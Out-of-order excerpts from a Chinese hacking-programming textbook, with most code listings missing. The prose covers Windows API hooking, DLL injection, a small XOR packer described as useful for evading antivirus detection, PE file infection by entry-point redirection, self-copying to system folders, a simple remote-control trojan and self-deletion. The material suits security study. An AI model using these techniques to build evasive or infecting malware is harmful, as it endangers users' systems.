    {"text": "C++黑客编程揭秘与防范 第5章 HOOK编程 有一种技术被称作是HOOK技术，人们常叫钩子。谈到钩子很容易让人联想到是在钓东西，比如鱼钩就用于钓鱼。在编程中钩子技术在DOS时代就已经存在了，在Windows下，钩子按照实现技术的不同，其种类也越来越多，但是设置钩子的本质却是始终不变的。 钩子到底是做什么用的呢？钩子的应用范围非常广泛，比如输入监控、API拦截、消息捕获等方面都在应用它。杀毒软件会用HOOK技术钩住一些API函数，比如钩住RegSetValueExO函数，防止病毒对注册表进行写入；病毒使用HOOK技术有针对性地捕获键盘的输入从而进行记录。这些都是属于HOOK范畴的知识。本章将介绍与HOOK有关的知识。 C++黑客编程揭秘与防范 第6章 黑客编程剖析 通过前面5章学到的知识，本章将完成一个综合性的实例，以帮助我们复习和巩固前面所学知识。本章旨在为大家起到抛砖引玉的作用，希望大家可以在自己感兴趣的方面进行深入地学习和研究。 C++黑客编程揭秘与防范 前言 什么是黑客？摘自百度百科中的一句话，“黑客一词，原指热心于计算机技术，水平高超的电脑专家，尤其是程序设计人员”。其实，黑客并不利用自己已有的技术去对他人的系统进行渗透并破坏。黑客的为人处世也非常低调，不会整天拿着别人写好的工具去入侵网站或“抓肉鸡”，做这么没意义的事。如果是黑客天天做这些事，怎么可能有多余的时间真正地研究技术？"},
    {"text": "C++黑客编程揭秘与防范 6.6 加壳与脱壳 6.6.1 手动加壳 壳是一种较为特殊的软件。壳分为两类，一类是压缩壳，另一类是加密壳。当然，还有介于两者之间的混合壳。下面先来手动为一个可执行文件加一层外壳，需要准备的工具有 C32ASM、LordPE、添加节表工具和OD。 首先用LordPE查看可执行文件，并对需要的几个数据做一个简单的记录，如图6-47所示。 图6-47 PE格式中需要用到的数据 在LordPE中，需要查看几个对于我们需要的数据，包括PE文件的入口RVA、映像地址和代码节的相关数据。有了这些数据以后就可以通过C32ASM对代码进行加密了。用 C32ASM以十六进制的方式打开可执行文件，然后从代码节的文件偏移开始选择，也就是从1000h的位置开始选择，一直选到4fffh的位置。然后单击右键，在弹出的快捷菜单上选择“修改数据”命令，在“修改数据”对话框中选择“异或”算法来对代码节进行加密，如图6-48所示。 使用0×88来对代码节进行异或加密，单击“确定”按钮后代码节被修改。保存以后使用在前面章节编写的添加节表的软件对可执行文件添加一个新的节，如图6-49所示。 图6-48 用“异或”算法对代码节进行加密 图6-49添加新节区 添加新的节区以后使用OD对可执行文件添加一些代码，用OD打开可执行程序，来到00408000地址处，添加如下代码： 以上代码的作用是将上面修改的代码节内容还原，然后进行保存。用LordPE修改该可执行文件的入口和代码节的属性，如图6-50、图6-51和图6-52所示。 图6-50修改入口点 图6-51添加代码节属性 图6-52修改新节属性 运行修改过的可执行文件，可以正常运行。 下面整理一下思路，以方便我们写代码。最开始用LordPE查看了将要用到的一些PE信息，然后用C32ASM对代码节进行了简单的异或加密，接下来新添加了一个节并在新节中写入了还原代码节的解密指令，最后用LordPE修改了文件的入口地址、代码节属性和新添加节的属性。对照一下前后两个文件的不同之处，如图6-53所示。 图6-53加壳前后PE文件的对比 从图中可以看出这两个PE文件的差别，相信大家对此已经没有不理解的地方了。下面开始手动打造一个这样简单的加壳软件。 6.6.2 编写简单的加壳工具 其实不按照上面的步骤进行也可以，只要步骤是合理的就可以了。我们主要有4个函数需要实现，分别是获取PE信息GetPelnfo()、添加新节AddSection()、加密代码节Encode()和写入解密代码WriteDecode()。获取PE信息和添加新节的代码实现前面已经介绍过了，这里就不重复介绍了。我们主要看两个函数的代码，分别是Encode()和WriteDecode()。 Encode()函数的作用是对代码节的内容进行加密，这里选择的加密算法是异或算法。在进行加密以前需要获得代码节在文件中的位置，以及代码节的长度。有了这两个信息就可以进行加密了，代码如下： WriteDecode()函数的作用是将对代码节的解密代码写入到新添加的节中，这样在运行真正代码之前会先对加密的代码进行还原。同样，解密的代码也使用异或算法进行。解密的代码不能直接写入C代码，而是要写入机器码，机器码可以到OD中取得，代码如下： 在虚拟地址和汇编指令的中间部分就是汇编指令对应的机器码，将其取出并定义为C语言的数组，定义如下： 这个机器码在解密的过程中要根据实际的PE信息进行修改，修改的位置有3处，分别是代码节的起始虚拟地址、代码节的结束虚拟地址和程序的原始入口点，代码如下： 这就是解密代码，大家可以找个用VC写的程序来进行测试。在这里使用Release版的 helloworld测试通过。 这个壳属于袖珍版的壳，严格来说，算不上是一个壳，但是这个壳在免杀领域是有用的，也就是把定位到的特征码进行加密，然后再写入解密代码从而隐藏特征码。一个真正的壳会对导入表、导出表、资源、TLS、附加数据等相关的部分进行处理。加密壳会加入很多反调试的功能，而且还会让壳和可执行文件融合在一起，达到“骨肉相连”的程度来增加脱壳的难度。"},
    {"text": "C++黑客编程揭秘与防范 5.2 内联钩子——Inline Hook 5.2.1 Inline Hook的原理 API函数都保存在操作系统提供的DLL文件中，当在程序中使用某个API函数时，在运行程序后，程序会隐式地将API所在的DLL加载入进程中。"},
    {"text": "从图5-1中可以看出，在进程中当EXE模块调用CreateFile()函数的时候，会去调用kernel32. dll模块中的CreateFile()函数，因为真正的CreateFile()函数的实现在kernel32. dll模块中。 CreateFile()是API函数，API函数也是由人编写的代码再编译而成的，也有其对应的二进制代码。"},
    {"text": "假设要对某进程的kernel32. dll的CreateFile()函数进行HOOK，首先需要在指定进程中的内存中找到CreateFile()函数的地址，然后修改CreateFile()函数的首地址的代码为jmpMyProc的指令。 这样，当指定的进程调用CreateFile()函数时，就会首先跳转到我们的函数当中去执行流程，这样就完成了我们的HOOK了。"},
    {"text": "图5-1 调用API函数的大体过程 图5-2 Inline Hook的流程 由于这种方法是在程序流程中直接进行嵌入jmp指令来改变流程的，所以就把它叫做 Inline Hook. 5.2.2 Inline Hook的实现 了解了大体的HOOK流程后，现在来学习它的具体实现。"},
    {"text": "我们的C程序被编译连接后为一个二进制文件，在二进制文件中，对于代码部分来说，都是CPU可以用来执行的机器码，机器码和汇编指令又是一一对应的。"},
    {"text": "前面讲过了，Inline Hook是在程序中嵌入jmp汇编指令然后跳转到流程处继续执行的，jmp指令的用法是jmp目的地址。 jmp在汇编语言中是一个无条件的跳转指令，jmp后面跟随的参数是跳转的目的地址。"},
    {"text": "图5-3 准备修改00401600地址处的代码为jmp指令 图5-4 修改后的代码内容 从图5-3和图5-4的对比可以看出，jmp指令占用了5个字节。 原来从00401600到00401605处的机器码为55 8BEC6AFF，当修改为jmp 12345678后，现在的机器码为E9 73 40 F4 11。 可以告诉大家，jmp对应的机器码是E9（针对长转移来说的），后面的73 40 F4 11是一个偏移量，这个偏移量是多少呢？"},
    {"text": "偏移量的计算公式如下： JMP后的偏移量=目标地址-原地址-5 这是一个非常重要的公式，当然对于我们的使用只要记住就可以了，这里的5是JMP的指令长度，也就是说JMP XXXXXXXX这个指令的机器码长度为5个字节。"},
    {"text": "验证一下这个公式,目标地址是12345678，原地址为00401600，用12345678-00401600-5 = 11F44073，用计算器进行计算，如图5-5所示。 上面地址都是用十六进制进行计算的，大家计算时要注意这一点，以免计算错误。"},
    {"text": "由于Inline Hook的实现代码比较简单，关键就是一个HOOK和一个取消HOOK的过程，因此可用C++封装一个Inline Hook的类，在今后Inline Hook编程中，可以始终使用这个封装好的类。"},
    {"text": "在构造函数中主要是完成对成员变量的初始化工作，在析构函数中主要是取消HOOK。 构造函数在C++对象被创建时自动执行，同样析构函数是在C++对象被销毁时自动执行。"},
    {"text": "在VC6下创建一个控制台程序，添加好封装过的库，然后键入下面的代码： 在主函数中，调用了两次MessageBox()函数，两次弹出的文本内容是一样的。"},
    {"text": "但是第二次调用MessageBox()函数时，对MessageBox()做了HOOK, HOOK的函数是我们自己写的 MyMessageBoxA()函数。 在MyMessageBoxA()函数中首先恢复了对MessageBox()函数的HOOK，然后连续调用了两次MessageBox()函数。"},
    {"text": "由于每个进程的地址空间是隔离的，那么对于其他进程的Inline Hook是需要用到 DLL文件的。 下面学一些如何使用DLL文件来完成对其他进程的Inline Hook的工作。 5.2.4 HOOK CreateProcessW 在这个例子中，我们先写一个DLL，然后通过DLL来HOOK CreateProcessW()函数。"},
    {"text": "从图5-6中可以看出，大部分的应用程序都是由Explorer. exe这个进程创建的，那么只要把Explorer. exe进程的CreateProcessW()函数HOOK住，就可以针对要完成的工作做很多事情了，比如，可以记录哪个应用程序被启动了，也可以对应用程序进程进行拦截了。 图5-6 “Process Explorer”查看应用程序的父进程 我们的例子就是通过HOOK CreateProcessW()函数来显示一下被创建的进程的进程名。"},
    {"text": "将这段代码编译连接，然后用第3章中编写的 DLL注入工具将这个DLL文件注入到Explorer.exe中，如图5-7所示。 图5-7 用DLL注入工具注入HOOK DLL 将这个DLL注入到Explorer.exe进程后，运行一下IE浏览器，会弹出一个对话框，如图5-8所示。"},
    {"text": "用DLL注入工具将刚才的DLL进行卸载，然后再次编译连接，这次就通过了。 把这个DLL文件注入到Explorer.exe进程中，然后启动IE浏览器，如图5-9所示。"},
    {"text": "图5-9 是否创建进程的提示框图5-10进程创建被拦截的提示 图5-10 进程创建被拦截的提示 提示框出现了，单击“确定”按钮以后，IE浏览器没有被打开。"},
    {"text": "将其定义为一个字节数组为： Byte bJmpCode[]={‘\\xb8’, ‘\\0’, ‘\\0’, ‘\\’, ‘\\0’, ‘\\xFF’, ‘\\xE0’}; 这样定义以后，只要把目标函数的地址保存在从第一个到第四个字节的位置就可以了 （下标是从0开始的）。"},
    {"text": "5.2.6 Inline Hook的注意事项 在写Hook函数时一定要注意函数的调用约定，函数的调用约定决定了函数调用后负责平衡栈的一个约定，如果在调用函数后栈不恢复到调用前的样子的话，那么程序后续的部分一定会报错。"},
    {"text": "Hook的是MessageBoxA()函数，该函数有4个参数，我们定义的函数也一定要是4个参数。 MessageBoxA()函数的调用约定是__stdcall,那么定义函数时也要使用__stdcall。 定义时使用的是WINAPI,这是一个宏，该宏的定义如下： 在MSDN中看一下MessageBox()的函数定义，该函数的定义如下： 在MSDN中，并没有看到对MessageBox()函数有关于调用约定方面的修饰。 在WinUser.h中看一下关于MessageBoxA()函数的定义，该定义如下： 在WinUser.h这个头文件中可以看到，在定义中使用了WINAPI这个函数调用约定的修饰。"},
    {"text": "看到这个提示以后首先要知道，这个提示告诉我们是Debug版本在检查栈平衡时报的错误。 虽然这个代码是系统的代码，不是自己写的代码，但是在系统检查栈时报错，多半是由于代码破坏了栈的平衡。"},
    {"text": "图5-14 在MsgHook.UnHook()位置处设置断点 图5-15 反汇编按钮 单击了反汇编按钮以后，将代码窗口往上移动，到函数的定义处，如图5-16所示。"},
    {"text": "在对其他进程的HOOK中，演示了如何HOOK CreateProcessW()函数，并且从中学习了如何拦截应用程序进程被创建的过程，又强调了对函数栈平衡的重要性。"},
    {"text": "6.2.1 病毒的感染剖析 大部分病毒都有感染的功能，病毒会把自身当中的或者需要其他程序来完成的指定功能的代码感染给其他的正常的文件。"},
    {"text": "前面说了，病毒要感染其他文件也就是把病毒本身的攻击代码或者病毒期望其他程序要完成的功能代码写入到其他程序当中，而想要对其他程序写入代码就必须要有写入代码的空间。"},
    {"text": "病毒要对其他程序写入代码，必须确定目标程序有足够的空间让它把代码写入。 通常情况下有两种比较容易实现的方法，第一种在前面的章节介绍过，就是添加一个节区，添加一个节区后就有足够的空间让病毒来写入了。"},
    {"text": "由于只是一个测试代码，因此不会写具有攻击性的代码，我们写入目标程序的代码的功能是什么都不做，就是汇编中的“NOP”指令，其机器指令是0×90。"},
    {"text": "定义如下： 搜索缝隙的代码如下： 在代码节和紧挨代码节之后的节的中间搜索缝隙，搜索的方向是从代码节的末尾开始，个人认为反方向的搜索速度要快一些。"},
    {"text": "6.2.3 感染目标程序文件剖析 我们把代码添加到了目标文件中，但是这些代码如何才能被执行到呢，这就要修改目标可执行文件的入口地址。 修改目标入口地址先来执行我们的代码，然后再跳转到原来程序的入口处继续执行，很多病毒都是这样工作的。"},
    {"text": "我们写一个程序，来调用上面的函数，并且将机器码写入到目标程序中，具体代码如下： 编译连接后，找个以前写的VC程序，将其改名为“hello.exe”，并放到同一个目录下，然后运行这个感染程序。"},
    {"text": "再次对其进行一次感染，然后用OD打开看一下目标程序“hello.exe”，如图6-15所示。 图6-15 被二次感染的目标程序入口 可以看到目标程序被二次感染了。"},
    {"text": "因此，需要对被感染过的文件写一个标志，这样就可以避免被二次感染了。 6.2.4 添加感染标志 为了避免重复感染目标程序，必须对目标程序写入感染标志以防被二次感染，导致目标程序无法执行。 每次在对程序进行感染时都要先判断是否有感染标志，如果有感染标志则不进行感染，如果没有感染标志则进行感染。"},
    {"text": "写入感染标志的代码如下： 读取的感染标志的代码类似，代码如下： 每次在进行感染前先调用CheckSig()函数，判断是否有感染标志，然后根据是否被感染做出不同的选择，调用以上两个函数的方法如下： 在代码中我们把感染标志写到了IMAGE_DOS_HEADER中的e_cblp这个位置处。 IMAGE_DOS_HEADER中除了e_magic和e_lfanew这两个字段外，其余都是没有用的，大家可以放心写入。"},
    {"text": "对于IMAGE_DOS_HEADER结构体中的e_cblp来说，它在结构体中的偏移是2。 那么offsetof（IMAGE_DOS_HEADER, e_cblp）返回的值则为2，大家可以调试跟踪一下。"},
    {"text": "下面介绍一下它是如何自删除的。 自删除的方法有很多，最简单的方法就是创建一个“.cmd”的批处理文件。 批处理文件中通过DOS命令del来删除可执行文件，再通过del删除自身。"},
    {"text": "C++黑客编程揭秘与防范 1.3 简单API的介绍 下面介绍一些在黑客编程中会用到的API函数，尽量排一点简单易用的函数，用简单的几行代码来完成一定的功能，希望大家能在这里体会到编程乐趣，不至于被大段的代码影响了自己前进的心情。"},
    {"text": "1.3.1 复制自身程序到Windows目录和系统目录下 一般的病毒木马都有这种类似的功能，完成这个功能其实并不复杂，我们来拆解思考一下实现这段代码的步骤。"},
    {"text": "（1） lpExistingFileName:该参数指向一个已存在文件的路径，即原文件路径。 （2） lpNewFileName：该参数指向一个新的文件的位置，即欲拷贝到的文件的目的路径。"},
    {"text": "（3） bFailIfExists：该参数是一个布尔型参数，如果参数为TRUE，若目的文件已存在则返回，复制失败;如果参数为FALSE，若目的文件已存在则强行覆盖原有的文件。"},
    {"text": "需要使用的API函数已经介绍完了，下面就来真正完成这个复制自身程序到Windows目录和系统目录下的程序，代码如下： 该函数需要包含Windows.h这个头文件，也就是在该段程序的最开始处加一句： 1.3.2 获得系统的相关信息 了解一个系统相关信息也是一项比较重要的内容，强大的扫描软件Nmap在对目标主机进行扫描时，也能对目标主机的系统等信息进行识别，真的是很强大。 这里简单地获取一些与系统相关的信息，主要获取的内容有操作系统的版本、操作系统的名字及当前登录的用户名称。"},
    {"text": "因为代码默认编译连接是Debug版本的，如图1-15所示。 图1-15 Win32 Debug方式 从图1-15中可以看出，我们的代码是由Debug方式编译的。 Debug被称为调试版本，在这种方式的编译下，可执行程序中会附带很多和调试相关的数据或代码，而且不做任何的优化，以此为开发人员提供大量的调试信息，从而方便了程序的调试工作。 除了Debug方式编译以外，还有一种方式是Release方式编译，单击“Win32 Debug”右边的下拉箭头可以选择“Win32 Release”，如图1-16所示。 图1-16 Win32 Release方式 Release方式被称作发布版本，是为最终用户使用的，这种方式对代码做了大量的优化工作，不再包含与调试相关的信息，从而使程序的运行效率更高，体积更小，如图1-17所示。"},
    {"text": "我们在GetComputerName()这个函数上单击鼠标右键，在弹出的快捷菜单上选择“ Go To Definition Of GetComputerName ”（到GetComputerName函数的定义处）命令，如图1-18所示。 图1-18 “ Go To Definition Of GetComputerName ”命令 当选择“Go To Definition Of GetComputerName”命令以后，会来到“Winbase.h”头文件中的GetComputerName()函数的定义处，如图1-19和图1-20所示。 图1-19 “Winbase.h”头文件 图1-20 GetComputerName()的定义 从图1-20中可以看出，GetComputerName是一个宏，其对应的函数为GetComputerNameA()。 关于GetComputerName()和GetComputerNameA()，包括可以看到的GetComputerNameW()，我们都不进行介绍。"},
    {"text": "通过图1-20的函数定义和前面介绍这个函数的 定义来比较一下，可以看到，头文件中的定义比MSDN中的定义对于函数的描述更加详细，比如WINAPI表示函数的调用方式。"},
    {"text": "C++黑客编程揭秘与防范 3.8 总结 本章学习了Windows下应用程序的编程基础，包括文件操作、注册表操作、服务枚举、进程、线程、DLL等相关内容。在后面的章节中将会经常使用到这些内容，请大家一定要掌握本章的内容。 C++黑客编程揭秘与防范 5.1 HOOK知识前奏 在DOS时代进行编程，那时操作系统提供的编程接口不称为API函数，而称为中断服务向量。也就是说，当时的操作系统提供的编程接口只有中断，要进行写文件要调用系统中断，要进行读文件也要调用系统中断（当然，也不调用操作系统的中断直接调用更底层的中断）……中断服务向量类似于Windows下的API函数，中断服务向量在操作系统的某个地址保存着，它是以数组形式保存着的，我们也称其为中断向量表。DOS时代的HOOK技术也就是修改中断向量表中的中断地址。比如，要捕获写操作，那么就修改中断向量表中关于写文件的地址，将写文件的中断地址保存好，然后替换为我们的地址，这样当程序调用写文件中断时，我们的函数就被执行了；当程序执行完可以继续调用原来的中断地址，从而完成写文件的操作。 在Windows下HOOK技术的方法比较多，使用比较灵活，常见的应用层的HOOK方法有Inline Hook、IATHOOK、Windows钩子……HOOK技术涉及到了DLL相关的知识。因为HOOK其他进程的时候需要访问其他进程的地址空间，使用DLL是必然的。HOOK技术也涉及到了注入的知识，想要把完成HOOK功能的DLL加载到目标进程空间中就要使用注入的知识了。让我们来学习常用的HOOK技术吧。 C++黑客编程揭秘与防范 2.4 实现一个C/S模式的简单木马 C/S模式的木马的工作方式和网上聊天的工作方式没什么差别，都是基于TCP/IP协议的通信，都是在传递信息。不同的是，木马的客户端向服务器端发送的内容是控制命令，服务器端收到控制命令执行相应的功能，并将执行结果反馈给客户端，这就是远程控制。如果客户端加一些隐藏进程，复制自身到系统目录，然后自动启动……那么服务端就是一个木马了。 这个木马主要实现以下几个简单的功能： （1）完成帮助命令的发送； （2）可以查看远程主机的相关信息，以及把自身复制到可执行目录中； （3）打开光驱和关闭光驱； （4）交换鼠标左右键和恢复鼠标左右键功能。 2.4.1 木马服务器端的实现 这里，由于有一些内容还没有学到，所以暂时不去实现，在后面的章节里，再把木马的内容充实起来。不过这仅仅是学习，要开发一个专业的木马并不是一件容易的事情。最关键的是，我们做的一切都是为了学习编程，为了学习计算机安全，而不是为了搞破坏。希望大家谨记于心。 我们的木马是命令行下的木马，所以当实现功能多了以后很多命令就会忘记。为了方便使用，在木马中加入帮助系统，也就是在输入指定命令后，客户端会把命令发给我们。把相关的命令定义成宏，方便我们修改，定义如下： 这里有个问题，这个命令是定义在客户端好，还是定义在服务器端好？定义在客户端当我们查看命令字的时候，省去了一次网络的通信传输，速度相对较快。但是，我们的木马客 户端只是简单地发送命令，服务器端根据不同的命令来完成相应的功能，从这样的角度来看，可能客户端基本上定下来以后就不再变了，而有变化的就是服务器端了。当连接了木马的服务器端以后，要确定当前连接的木马提供多少种功能，为了确定木马能执行哪些功能，因此笔者认为帮助定义在服务器端较好。 我们木马的主体形式是接收命令，其实就是让recv()函数接收字符串，根据接收的字符串进行匹配从而完成相应的动作。代码的大体形式如下： 以上代码是用来进行循环接收命令的，分发命令的部分就是一些判断和比较了，如下： 根据前面列举的那些功能我们逐个实现。 首先是完成帮助命令的发送，这个非常简单，只要调用send()就可以完成了，代码如下： 对于复制到系统目录这个功能大家请参考第1章，这里就不重复了，但是对于获得系统信息，就需要修改一下了。不能直接输出，而是需要定义一个结构体保存获取到的信息，以便发送给客户端，结构体如下： 把获取到的信息保存在该结构体中，发送给客户端就可以了。客户端的显示与第1章介绍的类似。发送代码如下： 对于光驱的打开与关闭、交换与恢复鼠标左右键功能的实现也非常简单，函数原型如下： 不对这两个函数进行介绍了，直接看代码吧。 以上就是木马服务器端的全部代码了。我们只是把一些简单的知识连贯起来使用，就是一个木马了。 2.4.2 木马客户端的实现 木马客户端的代码就是完成字符串的发送，代码非常简单，直接看完整的源代码。 上面是一个最简单的C/S模式的木马。是不是很简单啊？感觉我们的小马很“瘦”是吧？不足以日行千里是吧？有奢求，有欲望是好的。在后面的章节当中大家可以慢慢地补足这匹马儿的功能。再次提醒，本书的目的是和大家学习黑客编程，旨在通过黑客编程学习系统知识和安全知识，并非拿来做坏事的。"},
    {"text": "C++黑客编程揭秘与防范 4.4 简单的查壳工具 前面的内容介绍了通过编程解析了PE文件格式的基础数据，对于PE文件格式的解析其实并不难，难点在于兼容性。我们从前面的学习中可以看到，在PE文件结构中大多用的都是偏移地址，因此，只要偏移地址和实际的数据相符，那么PE文件格式有可能是嵌套的。也就是说PE文件是可以变形的，只要保证其偏移地址和PE文件格式的结构基本就没多大问题。 对于PE可执行文件来说，为了保护可执行文件或者是压缩可执行文件，通常会对该文件进行加壳。接触过软件破解的人，应该都是清楚壳的概念的。关于壳的概念就不多说了，下面来写一个查壳的工具。 首先，用ASPack给前面写的程序加个壳，打开ASPack加壳工具，如图4-28所示。 图4-28 ASPack加壳工具界面 对测试用的软件进行一次加壳，不过在加壳前先用PEiD查看一下，如图4-29所示。 图4-29 PEiD查壳 从图4-29可以看出，该程序是Visual C++ 5.0 Debug版的程序，其实该程序是用Visual C++6.0写的，这是PEiD识别有误的原因。不过只要用Visual C++6.0进行编译选择Release版时，PEiD是可以正确进行识别的。使用ASPack对该程序进行加壳，加壳后再用PEiD查壳,如图4-30所示。 从图4-30中可以看出,PEiD识别出来文件被加过壳，且是用ASPack进行加壳的。PEiD是如何识别程序被加壳，加了哪种壳呢？在PEiD的目录下，有一个特征码文件，名为 “userdb.txt”。打开这个文件，看一下大概内容，里边保存了壳的特征码。我们的任务就是来 做一个这个壳的识别工具。 图4-30 用PEiD查看加壳后的文件 壳的识别是通过特征码来进行的，特征码的提取通常是选择文件的入口处。壳会修改程序的入口处，因此对于壳的特征码来说选择入口处比较合适。我们的工具主要是用来学习和演示用的，因此写的查壳工具要能识别两种类型，第一种类型是可以识别用Visual C++6.0编译出来的文件，第二种类型就是可以识别ASPack加壳后的程序，当然ASPack加壳工具的版本众多，这里只要能识别上面演示的那个版本的ASPack就可以了。 如何提取特征码呢？程序无论是在磁盘上，还是在内存中，都是以二进制的形式存在的。前面也提到过，特征码是从程序的入口处进行提取的，那么可以使用C32ASM以十六进制的形式打开这些文件，在入口处提取特征码，也可以用OD将程序载入内存后提取特征码。这里选择使用OD提取特征码。用OD载入未加壳的程序，如图4-31所示。 图4-31 OD载入未加壳文件的入口处 可以看到这就是未加壳程序的入口处代码，在图4-31中，“十六进制”列中就是代码对应的十六进制编码，我们就是要提取这些十六进制编码。提取结果如下： 根据这个步骤，把ASPack的特征码也提取出来，提取结果如下： 有了这些特征码，就可以开始编程了。先来定义一个数据结构，用来保存特征码，该结构如下： 利用该数据结构定义两个保存特征码的全局变量，定义如下： 程序界面是在PE查看器的基础上完成的，如图4-32所示。 提取了特征码，对于查壳工作就剩特征码匹配了，这个非常简单，只要用文件的入口处代码和特征码进行匹配，匹配相同就会给出相应的信息。查壳的代码如下： 这样查壳的功能就已经完成了。 图4-32 查壳界面 C++黑客编程揭秘与防范 2.3 简单的通信程序 网络通信方面的基础函数我们已经了解了一些，把这些知识都连起来，就可以编写一个网络程序了。我们分别来写一个基于TCP协议和基于UDP协议的小程序。这是一个非常经典的程序，就是在编程界举世闻名的输出“Hello World!”！的程序，只不过是Winsock版本。 2.3.1 基于TCP协议的“Hello World!” 服务器端的代码编写流程如下： 只要把这些函数依次写完，服务器端的代码就写完了。 服务器端代码如下： 客户端的代码编写流程如下： 客户端的流程比服务器端的流程要更少一些，主要是省去了绑定IP和端口、监听等一些步骤。 客户端代码如下： 在上面的代码中，我们只是简单地把所有的API函数都串起来写了一遍，就能实现想要的功能。但是请注意，大家在写的时候一定要把所有函数的返回值加以判断，形成一个好的习惯。 2.3.2 基于UDP协议的“Hello World!” UDP客户端与服务器端的编写方法与TCP的相似，只要注意其中的差别就可以了。 服务端代码如下： 客户端代码如下： C++黑客编程揭秘与防范 1.4 总结 本书的编程内容主要以C语言为编程语言（本书部分内容会涉及其他语言，但C语言是主要的），以VC6为开发环境，着重介绍了VC6的基本概念及简单的使用，在此基础上带领大家认识了专业的应用程序的调试工具——OD。在最后的内容中介绍了一些简单的API函数的使用。万丈高楼平地起，希望每一位初学者不要过于着急，在后面的章节中我们会慢慢地深入学习黑客编程的内容。希望在每学完一个知识后，大家多思考多动手，这样才能真正地起到学习的效果。"},
    {"text": "可是通常情况下，在使用软件的过程中会发现某个软件的功能实现得非常不错，希望该功能能够在自己的软件中实现，但又得不到它的源代码进行参考。"},
    {"text": "7.5.1 函数的识别 做逆向分析的第一步是先要对函数进行识别，也就是说确定函数的开始位置、结束位置、函数调用方式及函数的参数个数。"},
    {"text": "在逆向分析的过程中，不会把单个指令当作是最基本的逆向单位，因为一条汇编指令很难说明任何问题，就像在C语言中，很难通过一行代码来说明 问题一样。"},
    {"text": "用IDA打开后，将直接找到main()函数（多么方便的工具），如果没有找到main()的话，通过简单的操作也能找到。 下面先来通过运行时启动函数定位找到main()函数。"},
    {"text": "首先在IDA上单击选项卡中的“Exports”项，在这里可以看到mainCRTStartup，如图 7-13所示。 图7-13 “Exports”选项卡 双击mainCRTStartup就可以运行启动函数了。"},
    {"text": "记住main()函数不是程序运行的第一个函数，而是程序员编写程序时的第一个函数。 main()函数是由运行时启动函数来调用的。 启动函数部分反汇编代码如下： 从反汇编代码中可以看到，main()函数在004012B4位置处，启动函数获得版本号、获得命令行参数、获得环境变量字符串……等一系列的操作后才调用了main()函数。"},
    {"text": "通常情况是没有 pdb文件的，这样_main是一个地址，而不是直接给出的符号了，不过仍然可以按照规律来找到主函数。 我们已经顺利找到了主函数，直接双击_main到达如下反汇编代码处： 我们看到了4行0040100A，其实不是有4行，真正的那一行是jmp main，其余的都是 IDA为了方便查看而生成的。 这时发现这并不是我们编写的主函数，这是以Debug方式编译生成的一个跳表，双击main处，就到了真正的主函数处了，代码如下： 观察反汇编代码就可以确定这是我们的主函数了，代码中有一个对test()的调用，也看到了printf()。"},
    {"text": "lea edi，[ebp + var_44]/mov ecx， 11h/mov eax， OCCCCCCCCh/rep stosd，这几句是将开辟的内存空间全部初始化为0×cc，0×cc如果当机器码来解释的话，其对应的汇编指令为int 3，也就是断点中断指令。"},
    {"text": "在该反汇编代码中还有一步没有讲，这是cmp ebp，esp/call_chkesp，这两句是对_chkesp函数的一个调用，在Debug编译方式下，对几乎所有的函数调用完成后调用一次_chkesp，该函数的功能是用来检查栈是否平衡，以保证程序的正确性。"},
    {"text": "我们做个简单的测试，在主函数后面加一条内联汇编—asm push ebx，然后编译连接运行，在输出过后会看到一个错误的提示，如图 7-14所示。 图7-14 调用_chkesp后对栈平衡进行检查时出错的提示 整个的主函数还有最后一部分，反汇编代码如下： 首先是push 6/push offset aHello/call j_test/add esp，8/mov [ebp + var_4]，eax是对test()。 函数的一个调用，push eax/push offset aD/call printf/add esp，8是对printf()函数的调用，xor eax，eax是对eax进行清0。"},
    {"text": "双击j_test来到如下反汇编代码处： 这里仍然是个跳表，双击test来到如下反汇编代码处： 函数开头和结尾的部分我们都已经熟悉了，直接看其他部分吧，反汇编代码如下： 另外一段反汇编代码如下： 从这两段代码中可以看出分别是对printf()函数和MessageBoxA()函数的调用，在对printf()函数调用后有一条add esp，OCh，而在MessageBoxA()后面则没有。"},
    {"text": "在VC下常见到两种调用约定，分别是stdcall和cdecl两种。 stdcall是Windows下的标准调用约定，Windows提供的API函数及WDK中提供的函数都是使用stdcall，当然也有例外，就是API中变参函数是使用cdecl调用约定。 C语言默认的是使用cdecl调用约定。"},
    {"text": "7.5.2 if……else……分支结构 下面用一个相对简单的if……else……分支实例来说明其对应的反汇编，C代码如下： 代码很简单，用IDA看其关键的反汇编代码： 以上3句分别是对3个变量进行赋值初始化。"},
    {"text": "观察上面的反代码发现，代码中使用的比较关联符号是“大于号”，而反汇编代码却使用了相反的比较跳转指令，使用的是“小于等于”则跳转，否则不跳转。"},
    {"text": "请注意观察00401043和0040105E这两个地址，jle会跳过紧接着的下面的部分代码，跳转的目的地址上面是一条无条件跳转指令jmp，也就是说，jle和jmp之间的部分是代码中比较表达式成功后执行的代码。 在反汇编代码中，如果比较指令后的跳转指令没有发生跳转的话，则在执行完一系列指令后，会紧跟着一条无条件跳转指令jmp跳到某个地址。"},
    {"text": "在C源代码中，当比较表达式成功后会执行其后面的代码块，当执行完这些代码块后就跳过与之配对的else if或else后面的代码。 上面C源代码中if……else……对应反汇编结构如下： 这基本上就是if……else……分支结构的执行流程了，当反汇编时遇到这样的结构就可以马上知道这是一个if……else……分支结构了，大的流程定下以后就可以具体地分析每个分支要执行的代码了。"},
    {"text": "该结构是一个比较有趣的结构，它的反汇编代码和我们想的反汇编代码不同，而且switch的反汇编形式特别的丰富，这里只介绍它的其中一种反汇编形式。"},
    {"text": "C语言代码如下： 我们来看以上代码对应的反汇编代码： 根据对if……else……的经验判断，分支是由跳转指令完成的。 在上面的反汇编代码中发现有两条跳转指令，一条是跳转到default分支的，另一条是一个看不太明白的跳转。"},
    {"text": "我们把那条跳转指令单独看一下： 此时说明eax的值不大于3，也就是在0~3之间的任意一个数，看一下4010bb是什么内容： 4010bb像是一个数组，数组中的内容是40105f、40106e、40107d和40108c，这4个值就是switch中各个分支的目标地址，也就是说该处是根据一个地址表来跳转到各个分支流程的，根据各个取值的不同而不同。"},
    {"text": "比如输入的内容是4，而经过反汇编的一番处理后变成了3，处理的反汇编代码如下： 当输入变为3时，在jmp ds：：off_4010bb[3*4]中得到的地址为4010bb + 3*4 = 4010c7，而4010c7中保存的则是到case 4：分支的地址。"},
